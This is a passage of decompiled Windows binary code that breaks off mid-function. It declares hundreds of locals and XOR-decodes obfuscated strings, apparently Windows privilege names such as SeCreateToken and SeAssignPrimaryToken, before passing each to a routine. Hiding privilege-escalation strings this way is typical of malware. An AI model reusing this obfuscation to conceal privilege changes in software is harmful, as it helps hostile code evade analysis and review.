				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v371;
				char _v372;
				char _v373;
				char _v374;
				char _v375;
				char _v376;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				char _v457;
				char _v458;
				char _v459;
				char _v460;
				char _v464;
				char _v465;
				char _v466;
				char _v467;
				char _v468;
				char _v469;
				char _v470;
				char _v471;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v477;
				char _v478;
				char _v479;
				char _v480;
				char _v483;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				char _v488;
				char _v489;
				char _v490;
				char _v491;
				char _v492;
				char _v493;
				char _v494;
				char _v495;
				char _v496;
				char _v497;
				char _v498;
				char _v499;
				char _v500;
				char _v503;
				char _v504;
				char _v505;
				char _v506;
				char _v507;
				char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				char _v513;
				char _v514;
				char _v515;
				char _v516;
				char _v517;
				char _v518;
				char _v519;
				char _v520;
				char _v522;
				char _v523;
				char _v524;
				char _v525;
				char _v526;
				char _v527;
				char _v528;
				char _v529;
				char _v530;
				char _v531;
				char _v532;
				char _v533;
				char _v534;
				char _v535;
				char _v536;
				char _v537;
				char _v538;
				char _v539;
				char _v540;
				char _v542;
				char _v543;
				char _v544;
				char _v545;
				char _v546;
				char _v547;
				char _v548;
				char _v549;
				char _v550;
				char _v551;
				char _v552;
				char _v553;
				char _v554;
				char _v555;
				char _v556;
				char _v557;
				char _v558;
				char _v559;
				char _v560;
				char _v561;
				char _v562;
				char _v563;
				char _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v581;
				char _v582;
				char _v583;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v601;
				char _v602;
				char _v603;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v613;
				char _v614;
				char _v615;
				char _v616;
				char _v617;
				char _v618;
				char _v619;
				char _v620;
				char _v624;
				char _v625;
				char _v626;
				char _v627;
				char _v628;
				char _v629;
				char _v630;
				char _v631;
				char _v632;
				char _v633;
				char _v634;
				char _v635;
				char _v636;
				char _v637;
				char _v638;
				char _v639;
				char _v640;
				char _v641;
				char _v642;
				char _v643;
				char _v644;
				char _v647;
				char _v648;
				char _v649;
				char _v650;
				char _v651;
				char _v652;
				char _v653;
				char _v654;
				char _v655;
				char _v656;
				char _v657;
				char _v658;
				char _v659;
				char _v660;
				char _v661;
				char _v662;
				char _v663;
				char _v664;
				char _v665;
				char _v666;
				char _v667;
				char _v668;
				char _v671;
				char _v672;
				char _v673;
				char _v674;
				char _v675;
				char _v676;
				char _v677;
				char _v678;
				char _v679;
				char _v680;
				char _v681;
				char _v682;
				char _v683;
				char _v684;
				char _v685;
				char _v686;
				char _v687;
				char _v688;
				char _v689;
				char _v690;
				char _v691;
				char _v692;
				char _v695;
				char _v696;
				char _v697;
				char _v698;
				char _v699;
				char _v700;
				char _v701;
				char _v702;
				char _v703;
				char _v704;
				char _v705;
				char _v706;
				char _v707;
				char _v708;
				char _v709;
				char _v710;
				char _v711;
				char _v712;
				char _v713;
				char _v714;
				char _v715;
				char _v716;
				char _v718;
				char _v719;
				char _v720;
				char _v721;
				char _v722;
				char _v723;
				char _v724;
				char _v725;
				char _v726;
				char _v727;
				char _v728;
				char _v729;
				char _v730;
				char _v731;
				char _v732;
				char _v733;
				char _v734;
				char _v735;
				char _v736;
				char _v737;
				char _v738;
				char _v739;
				char _v740;
				char _v742;
				char _v743;
				char _v744;
				char _v745;
				char _v746;
				char _v747;
				char _v748;
				char _v749;
				char _v750;
				char _v751;
				char _v752;
				char _v753;
				char _v754;
				char _v755;
				char _v756;
				char _v757;
				char _v758;
				char _v759;
				char _v760;
				char _v761;
				char _v762;
				char _v763;
				char _v764;
				char _v765;
				char _v766;
				char _v767;
				char _v768;
				char _v769;
				char _v770;
				char _v771;
				char _v772;
				char _v773;
				char _v774;
				char _v775;
				char _v776;
				char _v777;
				char _v778;
				char _v779;
				char _v780;
				char _v781;
				char _v782;
				char _v783;
				char _v784;
				char _v785;
				char _v786;
				char _v787;
				char _v788;
				char _v789;
				char _v790;
				char _v791;
				char _v792;
				char _v793;
				char _v794;
				char _v795;
				char _v796;
				char _v797;
				char _v798;
				char _v799;
				char _v800;
				char _v801;
				char _v802;
				char _v803;
				char _v804;
				char _v805;
				char _v806;
				char _v807;
				char _v808;
				char _v809;
				char _v810;
				char _v811;
				char _v812;
				char _v813;
				char _v814;
				char _v815;
				char _v816;
				char _v817;
				char _v818;
				char _v819;
				char _v820;
				char _v821;
				char _v822;
				char _v823;
				char _v824;
				char _v825;
				char _v826;
				char _v827;
				char _v828;
				char _v829;
				char _v830;
				char _v831;
				char _v832;
				char _v833;
				char _v834;
				char _v835;
				char _v836;
				char _v840;
				char _v841;
				char _v842;
				char _v843;
				char _v844;
				char _v845;
				char _v846;
				char _v847;
				char _v848;
				char _v849;
				char _v850;
				char _v851;
				char _v852;
				char _v853;
				char _v854;
				char _v855;
				char _v856;
				char _v857;
				char _v858;
				char _v859;
				char _v860;
				char _v861;
				char _v862;
				char _v863;
				char _v864;
				char _v868;
				char _v869;
				char _v870;
				char _v871;
				char _v872;
				char _v873;
				char _v874;
				char _v875;
				char _v876;
				char _v877;
				char _v878;
				char _v879;
				char _v880;
				char _v881;
				char _v882;
				char _v883;
				char _v884;
				char _v885;
				char _v886;
				char _v887;
				char _v888;
				char _v889;
				char _v890;
				char _v891;
				char _v892;
				char _v896;
				char _v897;
				char _v898;
				char _v899;
				char _v900;
				char _v901;
				char _v902;
				char _v903;
				char _v904;
				char _v905;
				char _v906;
				char _v907;
				char _v908;
				char _v909;
				char _v910;
				char _v911;
				char _v912;
				char _v913;
				char _v914;
				char _v915;
				char _v916;
				char _v917;
				char _v918;
				char _v919;
				char _v920;
				char _v923;
				char _v924;
				char _v925;
				char _v926;
				char _v927;
				char _v928;
				char _v929;
				char _v930;
				char _v931;
				char _v932;
				char _v933;
				char _v934;
				char _v935;
				char _v936;
				char _v937;
				char _v938;
				char _v939;
				char _v940;
				char _v941;
				char _v942;
				char _v943;
				char _v944;
				char _v945;
				char _v946;
				char _v947;
				char _v948;
				char _v951;
				char _v952;
				char _v953;
				char _v954;
				char _v955;
				char _v956;
				char _v957;
				char _v958;
				char _v959;
				char _v960;
				char _v961;
				char _v962;
				char _v963;
				char _v964;
				char _v965;
				char _v966;
				char _v967;
				char _v968;
				char _v969;
				char _v970;
				char _v971;
				char _v972;
				char _v973;
				char _v974;
				char _v975;
				char _v976;
				char _v979;
				char _v980;
				char _v981;
				char _v982;
				char _v983;
				char _v984;
				char _v985;
				char _v986;
				char _v987;
				char _v988;
				char _v989;
				char _v990;
				char _v991;
				char _v992;
				char _v993;
				char _v994;
				char _v995;
				char _v996;
				char _v997;
				char _v998;
				char _v999;
				char _v1000;
				char _v1001;
				char _v1002;
				char _v1003;
				char _v1004;
				char _v1006;
				char _v1007;
				char _v1008;
				char _v1009;
				char _v1010;
				char _v1011;
				char _v1012;
				char _v1013;
				char _v1014;
				char _v1015;
				char _v1016;
				char _v1017;
				char _v1018;
				char _v1019;
				char _v1020;
				char _v1021;
				char _v1022;
				char _v1023;
				char _v1024;
				char _v1025;
				char _v1026;
				char _v1027;
				char _v1028;
				char _v1029;
				char _v1030;
				char _v1031;
				char _v1032;
				char _v1033;
				char _v1034;
				char _v1035;
				char _v1036;
				char _v1037;
				char _v1038;
				char _v1039;
				char _v1040;
				char _v1041;
				char _v1042;
				char _v1043;
				char _v1044;
				char _v1045;
				char _v1046;
				char _v1047;
				char _v1048;
				char _v1049;
				char _v1050;
				char _v1051;
				char _v1052;
				char _v1053;
				char _v1054;
				char _v1055;
				char _v1056;
				char _v1057;
				char _v1058;
				char _v1059;
				char _v1060;
				char _v1061;
				char _v1062;
				char _v1063;
				char _v1064;
				char _v1065;
				char _v1066;
				char _v1067;
				char _v1068;
				char _v1069;
				char _v1070;
				char _v1071;
				char _v1072;
				char _v1073;
				char _v1074;
				char _v1075;
				char _v1076;
				char _v1077;
				char _v1078;
				char _v1079;
				char _v1080;
				char _v1081;
				char _v1082;
				char _v1083;
				char _v1084;
				char _v1085;
				char _v1086;
				char _v1087;
				char _v1088;
				char _v1092;
				char _v1093;
				char _v1094;
				char _v1095;
				char _v1096;
				char _v1097;
				char _v1098;
				char _v1099;
				char _v1100;
				char _v1101;
				char _v1102;
				char _v1103;
				char _v1104;
				char _v1105;
				char _v1106;
				char _v1107;
				char _v1108;
				char _v1109;
				char _v1110;
				char _v1111;
				char _v1112;
				char _v1113;
				char _v1114;
				char _v1115;
				char _v1116;
				char _v1117;
				char _v1118;
				char _v1119;
				char _v1120;
				char _v1123;
				char _v1124;
				char _v1125;
				char _v1126;
				char _v1127;
				char _v1128;
				char _v1129;
				char _v1130;
				char _v1131;
				char _v1132;
				char _v1133;
				char _v1134;
				char _v1135;
				char _v1136;
				char _v1137;
				char _v1138;
				char _v1139;
				char _v1140;
				char _v1141;
				char _v1142;
				char _v1143;
				char _v1144;
				char _v1145;
				char _v1146;
				char _v1147;
				char _v1148;
				char _v1149;
				char _v1150;
				char _v1151;
				char _v1152;
				char _v1155;
				char _v1156;
				char _v1157;
				char _v1158;
				char _v1159;
				char _v1160;
				char _v1161;
				char _v1162;
				char _v1163;
				char _v1164;
				char _v1165;
				char _v1166;
				char _v1167;
				char _v1168;
				char _v1169;
				char _v1170;
				char _v1171;
				char _v1172;
				char _v1173;
				char _v1174;
				char _v1175;
				char _v1176;
				char _v1177;
				char _v1178;
				char _v1179;
				char _v1180;
				char _v1181;
				char _v1182;
				char _v1183;
				char _v1184;
				char _v1187;
				char _v1188;
				char _v1189;
				char _v1190;
				char _v1191;
				char _v1192;
				char _v1193;
				char _v1194;
				char _v1195;
				char _v1196;
				char _v1197;
				char _v1198;
				char _v1199;
				char _v1200;
				char _v1201;
				char _v1202;
				char _v1203;
				char _v1204;
				char _v1205;
				char _v1206;
				char _v1207;
				char _v1208;
				char _v1209;
				char _v1210;
				char _v1211;
				char _v1212;
				char _v1213;
				char _v1214;
				char _v1215;
				char _v1216;
				char _v1217;
				char _v1218;
				char _v1219;
				char _v1220;
				char _v1221;
				char _v1222;
				char _v1223;
				char _v1224;
				char _v1225;
				char _v1226;
				char _v1227;
				char _v1228;
				char _v1229;
				char _v1230;
				char _v1231;
				char _v1232;
				char _v1233;
				char _v1234;
				char _v1235;
				char _v1236;
				char _v1237;
				char _v1238;
				char _v1239;
				char _v1240;
				char _v1241;
				char _v1242;
				char _v1243;
				char _v1244;
				char _v1245;
				char _v1246;
				char _v1247;
				char _v1248;
				char _v1249;
				char _v1250;
				char _v1251;
				char _v1252;
				char _v1253;
				char _v1254;
				char _v1255;
				char _v1256;
				char _v1257;
				char _v1258;
				char _v1259;
				char _v1260;
				char _v1261;
				char _v1262;
				char _v1263;
				char _v1264;
				char _v1265;
				char _v1266;
				char _v1267;
				char _v1268;
				char _v1269;
				char _v1270;
				char _v1271;
				char _v1272;
				char _v1273;
				char _v1274;
				char _v1275;
				char _v1276;
				char _v1277;
				char _v1278;
				char _v1279;
				char _v1280;
				char _v1281;
				char _v1282;
				char _v1283;
				char _v1284;
				char _v1285;
				char _v1286;
				char _v1287;
				char _v1288;
				char _v1289;
				char _v1290;
				char _v1291;
				char _v1292;
				char _v1293;
				char _v1294;
				char _v1295;
				char _v1296;
				char _v1297;
				char _v1298;
				char _v1299;
				char _v1300;
				char _v1301;
				char _v1302;
				char _v1303;
				char _v1304;
				char _v1305;
				char _v1306;
				char _v1307;
				char _v1308;
				char _v1309;
				char _v1310;
				char _v1311;
				char _v1312;
				char _v1316;
				char _v1320;
				char _v1324;
				char _v1328;
				char _v1332;
				char _v1336;
				char _v1340;
				char _v1344;
				char _v1348;
				char _v1352;
				char _v1356;
				char _v1360;
				char _v1364;
				char _v1368;
				char _v1372;
				char _v1376;
				char _v1380;
				char _v1384;
				char _v1388;
				char _v1392;
				char _v1396;
				char _v1400;
				char _v1404;
				char _v1408;
				char _v1412;
				char _v1416;
				char _v1420;
				char _v1424;
				char _v1428;
				char _v1432;
				char _v1436;
				char _v1440;
				char _v1444;
				char _v1448;
				char _v1452;
				void* _t2508;

				_v764 = 0x20;
				_v763 = 0x32;
				_v762 = 0xd;
				_v761 = 0x20;
				_v760 = 0x1f;
				_v759 = 0x38;
				_v758 = 7;
				_v757 = 0x32;
				_v756 = 0x1a;
				_v755 = 0x3d;
				_v754 = 0x11;
				_v753 = 0x3c;
				_v752 = 0x1d;
				_v751 = 7;
				_v750 = 0x3c;
				_v749 = 0x3b;
				_v748 = 0xc;
				_v747 = 0x30;
				_v746 = 0x1f;
				_v745 = 0x32;
				_v744 = 0x29;
				_v743 = 0x37;
				_v742 = 0x7a;
				_v256 = 0x73;
				_v255 = 0x57;
				_v254 = 0x4e;
				_v253 = 0x52;
				_v252 = 0x7a;
				_v251 = 0x59;
				E00402B00( &_v1360, 0x17);
				_v8 = 0;
				while(_v8 < 0x17) {
					if(1 != 0) {
						asm("cdq");
						_t44 = _v8 % 6 - 0xfc; // 0x73
						E00402AE0( &_v1360, _v8,  *(_t2508 + _v8 - 0x2f8) & 0x000000ff ^  *(_t2508 + _t44) & 0x000000ff);
					}
					_v8 = _v8 + 1;
				}
				E004047B0(E00402AD0( &_v1360), _a4);
				_v1152 = 0x16;
				_v1151 = 0x55;
				_v1150 = 0x37;
				_v1149 = 0x10;
				_v1148 = 0x43;
				_v1147 = 0x10;
				_v1146 = 0x22;
				_v1145 = 0x5e;
				_v1144 = 0x26;
				_v1143 = 0x11;
				_v1142 = 0x59;
				_v1141 = 0x14;
				_v1140 = 0x24;
				_v1139 = 0x42;
				_v1138 = 0xf;
				_v1137 = 0x37;
				_v1136 = 0x5f;
				_v1135 = 0x12;
				_v1134 = 0x20;
				_v1133 = 0x5e;
				_v1132 = 0x26;
				_v1131 = 0x11;
				_v1130 = 0x59;
				_v1129 = 0xf;
				_v1128 = 0x2c;
				_v1127 = 0x5c;
				_v1126 = 0x13;
				_v1125 = 4;
				_v1124 = 0x55;
				_v1123 = 0x79;
				_v264 = 0x45;
				_v263 = 0x30;
				_v262 = 0x76;
				_v261 = 0x63;
				_v260 = 0x30;
				_v259 = 0x79;
				E00402B00( &_v1356, 0x1e);
				_v12 = 0;
				while(_v12 < 0x1e) {
					if(1 != 0) {
						asm("cdq");
						_t99 = _v12 % 6 - 0x104; // 0x45
						E00402AE0( &_v1356, _v12,  *(_t2508 + _v12 - 0x47c) & 0x000000ff ^  *(_t2508 + _t99) & 0x000000ff);
					}
					_v12 = _v12 + 1;
				}
				E004047B0(E00402AD0( &_v1356), _a4);
				_v716 = 0x29;
				_v715 = 0x1c;
				_v714 = 0x34;
				_v713 = 0x2b;
				_v712 = 0x27;
				_v711 = 0x52;
				_v710 = 0x37;
				_v709 = 0x1c;
				_v708 = 0x15;
				_v707 = 0x2b;
				_v706 = 0x36;
				_v705 = 0x40;
				_v704 = 0x2a;
				_v703 = 0xb;
				_v702 = 0x11;
				_v701 = 0x32;
				_v700 = 0x2d;
				_v699 = 0x55;
				_v698 = 0x1f;
				_v697 = 0x1e;
				_v696 = 0x1d;
				_v695 = 0x44;
				_v272 = 0x7a;
				_v271 = 0x79;
				_v270 = 0x78;
				_v269 = 0x44;
				_v268 = 0x44;
				_v267 = 0x39;
				E00402B00( &_v1352, 0x16);
				_v16 = 0;
				while(_v16 < 0x16) {
					if(1 != 0) {
						asm("cdq");
						_t146 = _v16 % 6 - 0x10c; // 0x7a
						E00402AE0( &_v1352, _v16,  *(_t2508 + _v16 - 0x2c8) & 0x000000ff ^  *(_t2508 + _t146) & 0x000000ff);
					}
					_v16 = _v16 + 1;
				}
				E004047B0(E00402AD0( &_v1352), _a4);
				_v920 = 0x30;
				_v919 = 0x15;
				_v918 = 0x13;
				_v917 = 0x3e;
				_v916 = 6;
				_v915 = 0x14;
				_v914 = 6;
				_v913 = 0x11;
				_v912 = 0x29;
				_v911 = 0x35;
				_v910 = 0x34;
				_v909 = 0x13;
				_v908 = 0xc;
				_v907 = 4;
				_v906 = 0x3b;
				_v905 = 0;
				_v904 = 0x17;
				_v903 = 0xf;
				_v902 = 0x15;
				_v901 = 0x19;
				_v900 = 0x36;
				_v899 = 0x35;
				_v898 = 2;
				_v897 = 3;
				_v896 = 0x63;
				_v280 = 0x63;
				_v279 = 0x70;
				_v278 = 0x5a;
				_v277 = 0x50;
				_v276 = 0x65;
				_v275 = 0x66;
				E00402B00( &_v1348, 0x19);
				_v20 = 0;
				while(_v20 < 0x19) {
					if(1 != 0) {
						asm("cdq");
						_t196 = _v20 % 6 - 0x114; // 0x63
						E00402AE0( &_v1348, _v20,  *(_t2508 + _v20 - 0x394) & 0x000000ff ^  *(_t2508 + _t196) & 0x000000ff);
					}
					_v20 = _v20 + 1;
				}
				E004047B0(E00402AD0( &_v1348), _a4);
				_v1088 = 0x32;
				_v1087 = 0;
				_v1086 = 0x26;
				_v1085 = 0x1e;
				_v1084 = 0x1a;
				_v1083 = 5;
				_v1082 = 0xd;
				_v1081 = 0xc;
				_v1080 = 0x10;
				_v1079 = 0x19;
				_v1078 = 0x1d;
				_v1077 = 0xf;
				_v1076 = 5;
				_v1075 = 0x2c;
				_v1074 = 0x1d;
				_v1073 = 0;
				_v1072 = 0x1c;
				_v1071 = 0x1e;
				_v1070 = 0x31;
				_v1069 = 0x17;
				_v1068 = 0x1a;
				_v1067 = 6;
				_v1066 = 0;
				_v1065 = 6;
				_v1064 = 4;
				_v1063 = 2;
				_v1062 = 0x16;
				_v1061 = 0x70;
				_v288 = 0x61;
				_v287 = 0x65;
				_v286 = 0x73;
				_v285 = 0x70;
				_v284 = 0x69;
				_v283 = 0x6a;
				E00402B00( &_v1344, 0x1c);
				_v24 = 0;
				while(_v24 < 0x1c) {
					if(1 != 0) {
						asm("cdq");
						_t249 = _v24 % 6 - 0x11c; // 0x61
						E00402AE0( &_v1344, _v24,  *(_t2508 + _v24 - 0x43c) & 0x000000ff ^  *(_t2508 + _t249) & 0x000000ff);
					}
					_v24 = _v24 + 1;
				}
				E004047B0(E00402AD0( &_v1344), _a4);
				_v1004 = 0x37;
				_v1003 = 0x1c;
				_v1002 = 0x2c;
				_v1001 = 0x26;
				_v1000 = 6;
				_v999 = 0x5f;
				_v998 = 0xd;
				_v997 = 0x17;
				_v996 = 4;
				_v995 = 6;
				_v994 = 6;
				_v993 = 0x54;
				_v992 = 0xb;
				_v991 = 0xc;
				_v990 = 0xf;
				_v989 = 0x33;
				_v988 = 0x35;
				_v987 = 0x45;
				_v986 = 0xd;
				_v985 = 0xf;
				_v984 = 8;
				_v983 = 0x2b;
				_v982 = 0;
				_v981 = 0x50;
				_v980 = 1;
				_v979 = 0x79;
				_v248 = 0x64;
				_v247 = 0x79;
				_v246 = 0x61;
				_v245 = 0x47;
				_v244 = 0x65;
				_v243 = 0x37;
				E00402B00( &_v1336, 0x1a);
				_v28 = 0;
				while(_v28 < 0x1a) {
					if(1 != 0) {
						asm("cdq");
						_t300 = _v28 % 6 - 0xf4; // 0x64
						E00402AE0( &_v1336, _v28,  *(_t2508 + _v28 - 0x3e8) & 0x000000ff ^  *(_t2508 + _t300) & 0x000000ff);
					}
					_v28 = _v28 + 1;
				}
				E004047B0(E00402AD0( &_v1336), _a4);
				_v440 = 0x3a;
				_v439 = 0x3d;
				_v438 = 0x3e;
				_v437 = 0x5b;
				_v436 = 0x25;
				_v435 = 0x20;
				_v434 = 0x1b;
				_v433 = 0x31;
				_v432 = 0x1c;
				_v431 = 0x51;
				_v430 = 0x2b;
				_v429 = 0x15;
				_v428 = 0xe;
				_v427 = 0x3d;
				_v426 = 0x6a;
				_v296 = 0x69;
				_v295 = 0x58;
				_v294 = 0x6a;
				_v293 = 0x38;
				_v292 = 0x47;
				_v291 = 0x70;
				E00402B00( &_v1332, 0xf);
				_v32 = 0;
				while(_v32 < 0xf) {
					if(1 != 0) {
						asm("cdq");
						_t340 = _v32 % 6 - 0x124; // 0x69
						E00402AE0( &_v1332, _v32,  *(_t2508 + _v32 - 0x1b4) & 0x000000ff ^  *(_t2508 + _t340) & 0x000000ff);
					}
					_v32 = _v32 + 1;
				}
				E004047B0(E00402AD0( &_v1332), _a4);
				_v600 = 0x3a;
				_v599 = 0x2e;
				_v598 = 0x60;
				_v597 = 0x3f;
				_v596 = 0x20;
				_v595 = 0x3b;
				_v594 = 0x1b;
				_v593 = 0x22;
				_v592 = 0x47;
				_v591 = 0x23;
				_v590 = 0x13;
				_v589 = 0x3c;
				_v588 = 0;
				_v587 = 0x3d;
				_v586 = 0x5a;
				_v585 = 0x36;
				_v584 = 0x26;
				_v583 = 0x29;
				_v582 = 0xc;
				_v581 = 0x4b;
				_v304 = 0x69;
				_v303 = 0x4b;
				_v302 = 0x33;
				_v301 = 0x5a;
				_v300 = 0x43;
				_v299 = 0x4e;
				E00402B00( &_v1328, 0x14);
				_v36 = 0;
				while(_v36 < 0x14) {
					if(1 != 0) {
						asm("cdq");
						_t385 = _v36 % 6 - 0x12c; // 0x69
						E00402AE0( &_v1328, _v36,  *(_t2508 + _v36 - 0x254) & 0x000000ff ^  *(_t2508 + _t385) & 0x000000ff);
					}
					_v36 = _v36 + 1;
				}
				E004047B0(E00402AD0( &_v1328), _a4);
				_v892 = 0x39;
				_v891 = 0x21;
				_v890 = 0x2e;
				_v889 = 0x20;
				_v888 = 0x2d;
				_v887 = 0xf;
				_v886 = 0xb;
				_v885 = 0xd;
				_v884 = 0x2f;
				_v883 = 0x23;
				_v882 = 0x18;
				_v881 = 0x37;
				_v880 = 0x12;
				_v879 = 0x28;
				_v878 = 0x36;
				_v877 = 0x3a;
				_v876 = 0x36;
				_v875 = 0x13;
				_v874 = 0x37;
				_v873 = 0x2f;
				_v872 = 6;
				_v871 = 0x21;
				_v870 = 0x1d;
				_v869 = 0x24;
				_v868 = 0x46;
				_v200 = 0x6a;
				_v199 = 0x44;
				_v198 = 0x7a;
				_v197 = 0x41;
				_v196 = 0x46;
				E00402B00( &_v1324, 0x19);
				_v40 = 0;
				while(_v40 < 0x19) {
					if(1 != 0) {
						asm("cdq");
						_t434 = _v40 % 5 - 0xc4; // 0x6a
						E00402AE0( &_v1324, _v40,  *(_t2508 + _v40 - 0x378) & 0x000000ff ^  *(_t2508 + _t434) & 0x000000ff);
					}
					_v40 = _v40 + 1;
				}
				E004047B0(E00402AD0( &_v1324), _a4);
				_v692 = 4;
				_v691 = 0x5d;
				_v690 = 3;
				_v689 = 0x3f;
				_v688 = 0x17;
				_v687 = 0x33;
				_v686 = 0x7c;
				_v685 = 0x3d;
				_v684 = 0x39;
				_v683 = 0;
				_v682 = 0x32;
				_v681 = 0x4a;
				_v680 = 0x1f;
				_v679 = 0x22;
				_v678 = 0x1f;
				_v677 = 0x21;
				_v676 = 0x51;
				_v675 = 0x23;
				_v674 = 0x35;
				_v673 = 0x11;
				_v672 = 0x32;
				_v671 = 0x38;
				_v240 = 0x57;
				_v239 = 0x38;
				_v238 = 0x4f;
				_v237 = 0x50;
				_v236 = 0x76;
				E00402B00( &_v1424, 0x16);
				_v44 = 0;
				while(_v44 < 0x16) {
					if(1 != 0) {
						asm("cdq");
						_t480 = _v44 % 5 - 0xec; // 0x57
						E00402AE0( &_v1424, _v44,  *(_t2508 + _v44 - 0x2b0) & 0x000000ff ^  *(_t2508 + _t480) & 0x000000ff);
					}
					_v44 = _v44 + 1;
				}
				E004047B0(E00402AD0( &_v1424), _a4);
				_v864 = 0x39;
				_v863 = 0x37;
				_v862 = 0x23;
				_v861 = 0x4a;
				_v860 = 0x18;
				_v859 = 0x1e;
				_v858 = 0x37;
				_v857 = 0x1d;
				_v856 = 0x63;
				_v855 = 0x19;
				_v854 = 5;
				_v853 = 0x34;
				_v852 = 0x19;
				_v851 = 0x5f;
				_v850 = 0xe;
				_v849 = 0x3a;
				_v848 = 0x20;
				_v847 = 0x19;
				_v846 = 0x45;
				_v845 = 2;
				_v844 = 6;
				_v843 = 0x37;
				_v842 = 0x17;
				_v841 = 0x56;
				_v840 = 0x6b;
				_v232 = 0x6a;
				_v231 = 0x52;
				_v230 = 0x70;
				_v229 = 0x33;
				_v228 = 0x6b;
				E00402B00( &_v1364, 0x19);
				_v48 = 0;
				while(_v48 < 0x19) {
					if(1 != 0) {
						asm("cdq");
						_t529 = _v48 % 5 - 0xe4; // 0x6a
						E00402AE0( &_v1364, _v48,  *(_t2508 + _v48 - 0x35c) & 0x000000ff ^  *(_t2508 + _t529) & 0x000000ff);
					}
					_v48 = _v48 + 1;
				}
				E004047B0(E00402AD0( &_v1364), _a4);
				_v668 = 0x17;
				_v667 = 3;
				_v666 = 0x38;
				_v665 = 0x41;
				_v664 = 3;
				_v663 = 0x30;
				_v662 = 3;
				_v661 = 6;
				_v660 = 0x4c;
				_v659 = 0x19;
				_v658 = 0x29;
				_v657 = 3;
				_v656 = 0x3b;
				_v655 = 0x4a;
				_v654 = 0x19;
				_v653 = 0x32;
				_v652 = 0xf;
				_v651 = 7;
				_v650 = 0x5d;
				_v649 = 0x17;
				_v648 = 0x21;
				_v647 = 0x66;
				_v224 = 0x44;
				_v223 = 0x66;
				_v222 = 0x6b;
				_v221 = 0x38;
				_v220 = 0x70;
				E00402B00( &_v1368, 0x16);
				_v52 = 0;
				while(_v52 < 0x16) {
					if(1 != 0) {
						asm("cdq");
						_t575 = _v52 % 5 - 0xdc; // 0x44
						E00402AE0( &_v1368, _v52,  *(_t2508 + _v52 - 0x298) & 0x000000ff ^  *(_t2508 + _t575) & 0x000000ff);
					}
					_v52 = _v52 + 1;
				}
				E004047B0(E00402AD0( &_v1368), _a4);
				_v1280 = 0x29;
				_v1279 = 0x17;
				_v1278 = 0x3f;
				_v1277 = 0x25;
				_v1276 = 0x27;
				_v1275 = 0x53;
				_v1274 = 0x13;
				_v1273 = 0x1e;
				_v1272 = 0xa;
				_v1271 = 4;
				_v1270 = 0x21;
				_v1269 = 0x5b;
				_v1268 = 0x1d;
